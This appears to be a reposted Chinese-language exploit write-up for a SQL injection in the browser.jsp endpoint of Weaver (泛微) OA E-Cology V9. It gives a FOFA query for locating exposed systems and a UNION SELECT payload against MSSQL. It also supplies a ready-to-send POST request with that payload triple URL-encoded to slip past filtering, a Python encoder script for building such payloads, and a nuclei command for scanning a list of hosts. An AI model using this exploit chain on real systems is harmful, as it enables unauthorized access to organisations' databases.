漏洞復現(xiàn) 泛微OA E-Cology V9 browser.jsp SQL注入漏洞

漏洞描述

泛微新一代移動辦公平臺e-cology不僅組織提供了一體化的協(xié)同工作平臺,將組織事務逐漸實現(xiàn)全程電子化,改變傳統(tǒng)紙質文件、實體簽章的方式。泛微OA E-Cology 平臺browser.jsp處存在SQL注入漏洞，攻擊者通過漏洞可以獲取服務器數(shù)據(jù)庫權限。

漏洞復現(xiàn)

fofa：app="泛微-協(xié)同商務系統(tǒng)"

1.使用POC查看當前數(shù)據(jù)庫版本，返回結果

1.MSSQL命令：
a' union select 1,''+(SELECT @@VERSION)+'

2.POC
POST /mobile/%20/plugin/browser.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 649
DNT: 1
Connection: close
Cookie: ecology_JSessionid=aaaDJa14QSGzJhpHl4Vsy; JSESSIONID=aaaDJa14QSGzJhpHl4Vsy; __randcode__=28dec942-50d2-486e-8661-3e613f71028a
Upgrade-Insecure-Requests: 1

isDis=1&browserTypeId=269&keyword=%2525%2536%2531%2525%2532%2537%2525%2532%2530%2525%2537%2535%2525%2536%2565%2525%2536%2539%2525%2536%2566%2525%2536%2565%2525%2532%2530%2525%2537%2533%2525%2536%2535%2525%2536%2563%2525%2536%2535%2525%2536%2533%2525%2537%2534%2525%2532%2530%2525%2533%2531%2525%2532%2563%2525%2532%2537%2525%2532%2537%2525%2532%2562%2525%2532%2538%2525%2535%2533%2525%2534%2535%2525%2534%2563%2525%2534%2535%2525%2534%2533%2525%2535%2534%2525%2532%2530%2525%2534%2530%2525%2534%2530%2525%2535%2536%2525%2534%2535%2525%2535%2532%2525%2535%2533%2525%2534%2539%2525%2534%2566%2525%2534%2565%2525%2532%2539%2525%2532%2562%2525%2532%2537

2.編寫并使用三次url全字符加密編碼的小腳本，如下

1命令：
python Fanwei_e-cology9_decode_three.py

2.腳本
import os
def main():
    clearFlag = "y"
    while(1):
        if clearFlag == "y" or clearFlag == "Y":
            os.system("cls")
        clearFlag = ""
        string = input("請輸入需要轉換的字符串 :")
        type = input("(輸入1：進行三次url全字符編碼 ) :")
        while(type != "1"):
            type = input("操作類型輸入錯誤(輸入1：進行三次url全字符編碼) :")
        if type == "1" :
            for i in range(3):
                string = encode(string)
            encode_string = string
            print("編碼結果為："+encode_string+"\n")

#編碼
def encode(string):
    encode_string = ""
    for char in string:
        encode_char = hex(ord(char)).replace("0x","%")
        encode_string += encode_char
    return encode_string
main()

2.nuclei驗證

nuclei.exe -t FanWeiOA_E-Cology9_browser_SQL.yaml -l subs.txt -stats

文章來源地址http://www.zghlxwxcb.cn/news/detail-530007.html

到了這里，關于漏洞復現(xiàn) 泛微OA E-Cology V9 browser.jsp SQL注入漏洞的文章就介紹完了。如果您還想了解更多內容，請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章，希望大家以后多多支持TOY模板網！